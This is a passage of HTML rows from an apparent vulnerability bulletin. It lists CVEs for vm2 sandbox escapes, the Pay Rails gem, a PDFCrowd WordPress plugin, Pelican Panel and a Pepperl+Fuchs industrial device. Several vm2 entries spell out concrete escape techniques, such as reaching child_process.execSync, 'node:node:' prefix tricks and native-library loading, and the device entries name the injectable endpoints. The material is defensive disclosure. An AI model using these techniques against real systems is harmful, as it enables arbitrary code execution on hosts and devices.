&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.6 fails to restrict access to os and dns builtins under the builtin: [&#039;*&#039;] configuration, allowing sandbox code to read host process identity and network topology. Attackers can invoke dns.setServers() to hijack the host process DNS resolver globally, redirecting all subsequent host DNS queries through an attacker-controlled resolver.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92960&quot; target=&quot;_blank&quot;&gt;CVE-2026-92960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 through 3.12.0 (fixed in 3.12.1) does not correctly handle a nullish `this` receiver in the apply trap of its bridge (lib/bridge.js): when sandboxed code calls a host-provided non-strict (sloppy-mode) function without a receiver - e.g. `fn()`, a detached method, `fn.call()`, `fn.apply(undefined)`, `Reflect.apply(fn, undefined, [])`, or `fn.bind()()` - the undefined receiver is passed straight through to the host call, and V8 substitutes the host realm&#039;s global object for `this`. vm2 then wraps and returns that object to the sandbox, giving sandboxed script a live proxy of the host global. This allows a complete sandbox escape: untrusted script can reach `process` and execute arbitrary code/commands on the host (for example via `process.getBuiltinModule(&#039;child_process&#039;).execSync`). Exploitation requires that the embedding application expose at least one non-strict host function to the sandbox; strict-mode and ES module host functions are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93603&quot; target=&quot;_blank&quot;&gt;CVE-2026-93603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:[&#039;*&#039;] or explicit child_process allowance.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93605&quot; target=&quot;_blank&quot;&gt;CVE-2026-93605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 (npm) versions 3.12.0 and earlier contain a sandbox escape in `VM` and `NodeVM`. When an embedder exposes a host API that returns a host-realm Promise, the bridge&#039;s rejection sanitizer (hostPromiseSanitizeReject / makeSanitizedPromiseCallback / normalizeHostPromiseCallbacks in lib/bridge.js) only wraps `then`/`catch` rejection slots that hold a function, and the sandbox-side `Symbol.species`/`.then` neutralization is installed only on the sandbox intrinsic `Promise.prototype`, so it never applies to a host Promise. Code running inside the sandbox can overwrite `p.constructor[Symbol.species]` on the host Promise and then call `p.then()` with no `onRejected` handler; V8 substitutes its internal Thrower, which re-throws the raw host rejection value into a resolve/reject closure captured by the attacker. This delivers an unsanitized, fully functional bridge proxy of the host object to sandboxed code, bypassing handleException and hostPromiseSanitizeReject. If the rejection value is host-pivotable (for example a host `process` object), this results in arbitrary code execution on the host. Fixed in 3.12.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93606&quot; target=&quot;_blank&quot;&gt;CVE-2026-93606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92934&quot; target=&quot;_blank&quot;&gt;CVE-2026-92934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 is a sandbox for running untrusted Node.js code. In versions &amp;gt;= 3.11.4 and &amp;lt;= 3.11.6, the NodeVM constructor computes `hasRealRequireConfig` with `typeof requireOpts === &#039;object&#039; &amp;amp;&amp;amp; requireOpts !== null`, so an array-shaped `require` value (for example `require: []`) satisfies the guard that is meant to reject nesting without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array into undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. As a result, an attacker who can supply JavaScript executed by a NodeVM configured with truthy `nesting` and an array-shaped `require` (e.g. `new NodeVM({nesting: true, require: []})`) can require the host `vm2` module, create an inner NodeVM with an attacker-chosen builtin allowlist (such as `child_process`), and execute arbitrary commands with the privileges of the host Node.js process, escaping the sandbox. Outer builtin restrictions do not constrain the attacker-created inner NodeVM. This issue is fixed in vm2 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92935&quot; target=&quot;_blank&quot;&gt;CVE-2026-92935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions 3.11.3 through 3.11.6 expose Node.js&#039;s host node:sqlite module to code running in NodeVM when that builtin is permitted, either explicitly or through builtin: [&#039;*&#039;]. The module is wrapped with vm.readonly(), which prevents property assignment but leaves host-authority callables reachable; in addition, the resolver treats any request starting with &#039;node:&#039; as a core-module request and the runtime strips only one &#039;node:&#039; prefix, so a sandbox request for &#039;node:node:sqlite&#039; resolves to the configured node:sqlite entry. Sandboxed code can therefore create an in-memory DatabaseSync with extension loading enabled and call DatabaseSync.loadExtension() on a native library bundled in the untrusted plugin package (path derived from __dirname). SQLite loads the library into the Node.js host process and invokes its native entry point, giving the sandboxed plugin arbitrary native code execution outside the sandbox with the host process&#039;s privileges. The issue is fixed in vm2 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92938&quot; target=&quot;_blank&quot;&gt;CVE-2026-92938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 3.11.3 through 3.11.6 exposes the host Node.js crypto module to a NodeVM sandbox when the crypto builtin is allowed. The module is presented via a recursive read-only proxy, but its callable exports still execute with host-process authority. Sandboxed JavaScript can therefore call crypto.setEngine() with a filesystem path to an attacker-supplied native library (for example, one bundled in an untrusted plugin package already written to disk); OpenSSL asks the operating-system dynamic loader to load the file, and the library&#039;s constructor executes native code in the host process before engine-symbol validation rejects it. Exploitation requires only the crypto builtin and does not require fs, process, module, child_process, worker_threads, vm, or inspector access, resulting in a sandbox escape and arbitrary native code execution. Fixed in 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92939&quot; target=&quot;_blank&quot;&gt;CVE-2026-92939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions 3.10.2 through 3.11.6 contain a sandbox escape vulnerability on Node.js 26 where Promise.prototype.finally() bypasses vm2&#039;s wrapper protections due to a stale PromiseThenLookupChain protector in V8 14.6. Attackers can exploit this by creating an async function that returns a Promise with an attacker-controlled constructor Symbol.species, allowing them to reach the host Function constructor and process object for arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92944&quot; target=&quot;_blank&quot;&gt;CVE-2026-92944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions &amp;gt;= 3.9.6 and &amp;lt;= 3.11.6 are affected by a NodeVM builtin allowlist bypass that permits a sandbox escape on Node.js 24 and newer when the embedder explicitly allows the node:test builtin (e.g. require: { builtin: [&#039;node:test&#039;] }). On Node.js 24+, module.builtinModules exposes the scheme-only key node:test, which is not covered by vm2&#039;s family-based DANGEROUS_BUILTINS protection, so it is stored in the generic host-passthrough loader. Because requireImpl() in lib/setup-node-sandbox.js strips a single &#039;node:&#039; prefix before the builtin lookup, sandbox code calling require(&#039;node:node:test&#039;) resolves to the stored node:test key and receives a readonly proxy to the host module. Calls to node:test.run() are forwarded to the host implementation, which spawns a separate Node process for process-isolated test execution and passes through attacker-controlled execArgv values; supplying --eval=&amp;lt;JavaScript&amp;gt; therefore executes arbitrary JavaScript in an unrestricted host Node process outside the NodeVM sandbox. Fixed in vm2 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92948&quot; target=&quot;_blank&quot;&gt;CVE-2026-92948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.7 contains an incorrect authorization vulnerability in the external package allowlist check that uses non-exact substring matching instead of full package-name boundary validation. Attackers can bypass the allowlist by requiring a colliding package name that contains an allowlisted package substring, causing vm2 to load and execute unauthorized host packages in the host context.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92951&quot; target=&quot;_blank&quot;&gt;CVE-2026-92951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: [&#039;*&#039;, &#039;-node:child_process&#039;] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require(&#039;child_process&#039;)` or `require(&#039;node:child_process&#039;)`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7. (Suggested title: &quot;vm2 before 3.11.7: NodeVM builtin deny-list bypass via node:-prefixed specifiers exposes child_process&quot;)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92957&quot; target=&quot;_blank&quot;&gt;CVE-2026-92957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92950&quot; target=&quot;_blank&quot;&gt;CVE-2026-92950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 is a sandbox library for running untrusted JavaScript in Node.js. In versions &amp;gt;= 3.10.0 and &amp;lt;= 3.11.7, Promises returned from the host realm into the sandbox are not marked as handled at the bridge boundary; only Promises created inside the sandbox are wrapped with a rejection-swallowing handler (lib/setup-sandbox.js), and the bridge only installs host-side rejection sanitizers when sandbox code calls .then/.catch/.finally. As a result, code running in the sandbox can invoke a host function that returns a rejected Promise (for example events.once() exposed via the NodeVM events builtin, or any embedder-provided Promise-returning API) and simply ignore the return value, leaving the host Promise unhandled so that Node.js&#039;s default unhandled-rejection behavior terminates the host process. This is an incomplete fix of GHSA-hw58-p9xv-2mjh. The issue is fixed in version 3.11.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92954&quot; target=&quot;_blank&quot;&gt;CVE-2026-92954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: [&#039;*&#039;, &#039;-fs&#039;, &#039;-child_process&#039;] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require(&#039;fs/promises&#039;) or require(&#039;node:fs/promises&#039;) and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require(&#039;fs/promises&#039;)). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92958&quot; target=&quot;_blank&quot;&gt;CVE-2026-92958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.7 (affected versions &amp;lt;= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous VM#run() call. The timeout only wraps the single call to _runScript() via doWithTimeout() in lib/vm.js, and FinalizationRegistry and WeakRef are exposed to sandboxed code unmodified (they are not among the hardened globals in lib/setup-sandbox.js). Sandboxed code can register a FinalizationRegistry cleanup callback against an object and then drop the only strong reference to it; vm.run() returns within the configured timeout, but when the V8 garbage collector later reclaims the object it invokes the sandboxed cleanup callback outside any vm2 timeout accounting. A busy loop in that callback blocks the host event loop for an unbounded period, resulting in denial of service. The time of invocation depends on the garbage collector (e.g. under memory pressure or with --expose-gc).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92942&quot; target=&quot;_blank&quot;&gt;CVE-2026-92942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws &#039;Async not available&#039;, the sandbox&#039;s Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code&#039;s then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92959&quot; target=&quot;_blank&quot;&gt;CVE-2026-92959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92961&quot; target=&quot;_blank&quot;&gt;CVE-2026-92961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 through 3.12.0 exposes Node.js&#039;s crypto.setFips() function to untrusted guest code when an embedder explicitly allowlists the crypto builtin for a NodeVM (require.builtin: [&#039;crypto&#039;]). The builtin sanitizer (sanitizeCryptoModule in lib/builtin.js) replaces crypto.setEngine but leaves crypto.setFips callable, and the readonly wrapper used to expose the host module does not localize side effects of forwarded host functions. Guest code can therefore call crypto.setFips() to change the FIPS mode of the entire host process; the modified mode is subsequently observed by trusted host code (crypto.getFips() changed from 0 to 1 in the reported test), crossing the NodeVM isolation boundary. Fixed in vm2 3.12.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93604&quot; target=&quot;_blank&quot;&gt;CVE-2026-93604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Patrowl--PatrowlManager&lt;/td&gt;
&lt;td&gt;PatrowlManager through 1.8.4 contains an authorization bypass vulnerability in the events and alerts API endpoints that lack ownership filtering. Authenticated attackers can read platform event history, delete arbitrary events, and modify alerts belonging to other users.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92753&quot; target=&quot;_blank&quot;&gt;CVE-2026-92753&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pay-rails--pay&lt;/td&gt;
&lt;td&gt;Pay is a payments engine for Ruby on Rails 6.0 and higher. Prior to 11.6.2, Pay::Webhooks::PaddleBillingController#valid_signature? in app/controllers/pay/webhooks/paddle_billing_controller.rb compares the computed 64-character SHA-256 HMAC with the attacker-controlled h1 token from the Paddle-Signature header using Ruby String#==. An unauthenticated remote attacker who can repeatedly submit requests to /pay/webhooks/paddle_billing and obtain sufficiently precise timing measurements can infer matching digest prefixes and recover a valid signature. A forged accepted webhook is enqueued through Pay::Webhooks::ProcessJob and can cause a host application to update billing state, provision paid features, record refunds, or trigger customer notifications. This issue is fixed in version 11.6.2.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70658&quot; target=&quot;_blank&quot;&gt;CVE-2026-70658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pdfcrowd--Save as PDF Plugin by PDFCrowd&lt;/td&gt;
&lt;td&gt;The Save as PDF Plugin by PDFCrowd plugin for WordPress is vulnerable to Arbitrary Function Invocation in all versions up to, and including, 4.6.1 via the `pdf_created_callback` shortcode attribute. The `eval_shortcode()` function copies any non-`button_`/non-`email_` shortcode attribute verbatim into a custom options array without sanitization, allowlist enforcement, or capability checks, and `create_button()` AES-encrypts that array - including the attacker-supplied callback value - and embeds the resulting blob in the rendered button HTML; when the blob is later POSTed to the unauthenticated `wp_ajax_nopriv_save_as_pdf_pdfcrowd` endpoint, `save_as_pdf_pdfcrowd()` decrypts it and invokes `$options[&#039;pdf_created_callback&#039;]` as a PHP callable at line 1722 with no `is_callable()` guard, no allowlist, and no capability check. This makes it possible for authenticated attackers, with Contributor-level access and above, to invoke arbitrary PHP functions or static class methods with plugin option data as the sole argument, enabling disclosure of the site&#039;s stored PDFCrowd API key and username or further server-side abuse. Note that the encryption boundary does not mitigate this vector because the server itself encrypts the attacker-chosen callback during shortcode rendering, supplying any authenticated Contributor with a cryptographically valid blob that any unauthenticated visitor can subsequently replay to trigger invocation.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92807&quot; target=&quot;_blank&quot;&gt;CVE-2026-92807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pelican--panel&lt;/td&gt;
&lt;td&gt;Pelican Panel versions before 1.0.0-beta35 enforce startup write permissions only through disabled form controls rather than server-side authorization checks. Attackers with startup.read permission can craft Livewire state updates to invoke afterStateUpdated callbacks and modify startup commands, docker images, and variables to execute arbitrary commands in the container.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92762&quot; target=&quot;_blank&quot;&gt;CVE-2026-92762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;An unauthenticated remote attacker can exploit an authentication bypass in the _account_log function to log in as an admin, even when accounts are properly configured.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27546&quot; target=&quot;_blank&quot;&gt;CVE-2026-27546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;An unauthenticated remote attacker can upload a malicious IODD file that places and executes a shell script with root privileges. The shell script remains active even after a reboot.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27565&quot; target=&quot;_blank&quot;&gt;CVE-2026-27565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/get_iodd_menu_info endpoint using valid user or operator credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27547&quot; target=&quot;_blank&quot;&gt;CVE-2026-27547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/get_iodd_port_info endpoint using user or operator credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27548&quot; target=&quot;_blank&quot;&gt;CVE-2026-27548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/attached_devices_tab/do_upload endpoint using operator credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27549&quot; target=&quot;_blank&quot;&gt;CVE-2026-27549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a command injection vulnerability in the Field_Shadow_Password class using operator credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27550&quot; target=&quot;_blank&quot;&gt;CVE-2026-27550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/parameterManage endpoint using user credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27551&quot; target=&quot;_blank&quot;&gt;CVE-2026-27551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit improper authorization in the /index.php/attached_devices_tab/do_upload endpoint to upload IODD files to the device, potentially altering device behavior or causing system crashes.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27552&quot; target=&quot;_blank&quot;&gt;CVE-2026-27552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a command injection vulnerability in the /index.php/ajax/save_iodd_parameters endpoint using operator credentials allowing execution of commands with root privileges on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27554&quot; target=&quot;_blank&quot;&gt;CVE-2026-27554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can exploit a local file inclusion vulnerability in the /index.php/ajax/get_iodd_port_info endpoint using a valid user cookie allowing execution of arbitrary PHP code on the device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27555&quot; target=&quot;_blank&quot;&gt;CVE-2026-27555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
